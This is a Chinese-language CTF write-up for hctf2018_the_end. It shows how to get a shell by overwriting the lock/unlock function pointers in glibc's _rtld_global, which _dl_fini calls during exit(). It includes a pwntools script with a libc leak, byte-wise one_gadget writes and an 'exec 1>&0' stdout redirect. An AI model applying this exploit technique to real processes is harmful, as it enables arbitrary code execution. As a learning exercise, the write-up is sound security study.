前言
在libc-2.23之后,加入了对IO vtable的check机制,所以有本用IO打的hctf2018_the_end转而使用另一种方法,也就是要介绍的劫持rtld_global中的函数指针
劫持rtld_global中的函数指针
ld相关函数在使用rtld_global时都需要先上锁, 以避免多进程下的条件竞争问题
相关函数包括但不限于:
_dl_open()
_dl_fini()
….
exit_function_list
上节我们提到了exit函数的三个用途
清理tls
调用_IO_cleanup
这节漏洞的原因就是第二个,exit_function_list
exit_function_list是系统在初始化的时候自动为我们装载上的,然后在exit的时候会一次调用进行析构操作,析构函数里面有个叫_dl_fini的函数,问题也就在这里面
__run_exit_handlers调用_dl_fini
可以看到在这里面有上锁和释放的操作,我们以上锁为例
# define __rtld_lock_lock_recursive(NAME) GL(dl_rtld_lock_recursive) (&(NAME).mutex)
# define GL(name) _rtld_global._##name
这里我们先进行一个简化操作
__rtld_lock_lock_recursive(GL(dl_load_lock));=>
__rtld_lock_lock_recursive(_rtld_global._dl_load_lock); =>
_rtld_global._dl_rtld_lock_recursive (&(_rtld_global._dl_load_lock).mutex)
参数部分我们就不关注
可以看到实际调用的是dl_rtld_lock_recursive函数指针,释放锁的操作也是类似,我们去gdb里看看_rtld_global
_rtld_global结构
这个结构比较大,一个屏幕放不下,我就选取了对应的部门,可以看到lock和unlock也保存了对应的真实地址
可以看到_rtld_global位于ld的data段,所以我们可以直接修改
这里其实涉及了ld和libc的偏移问题,如果版本一致的其实差不多
攻击
找到偏移
这里也只需要修改低6位
ru(b"gift ")
libc_base = int(r(14), 16) - libc.sym["sleep"]
ld_base = libc_base + 0x3F1000
ld = ELF("./ld-2.27.so")
_dl_rtld_lock_recursive = ld_base + ld.sym["_rtld_global"] + 0xF00
one_gadget_addr = libc_base + one_gadget[1]
s(p64(_dl_rtld_lock_recursive))
s(p8(one_gadget_addr & 0xFF))
s(p64(_dl_rtld_lock_recursive + 1))
s(p8((one_gadget_addr >> 8) & 0xFF))
s(p64(_dl_rtld_lock_recursive + 2))
s(p8((one_gadget_addr >> 16) & 0xFF))
s(p64(_dl_rtld_lock_recursive + 1))
s(p8((one_gadget_addr >> 8) & 0xFF))
s(p64(_dl_rtld_lock_recursive + 2))
s(p8((one_gadget_addr >> 16) & 0xFF))
sl(b"exec 1>&0")
it()
这里后两边只是为了凑够5次
这里注意打远程由于stdout关闭了,所以我们看不见输出
需要exec 1>&0重定向
这里本来我本地打lock是可以的,但远程好像不行
于是我就换成了unlock
偏移+0xf08就可以了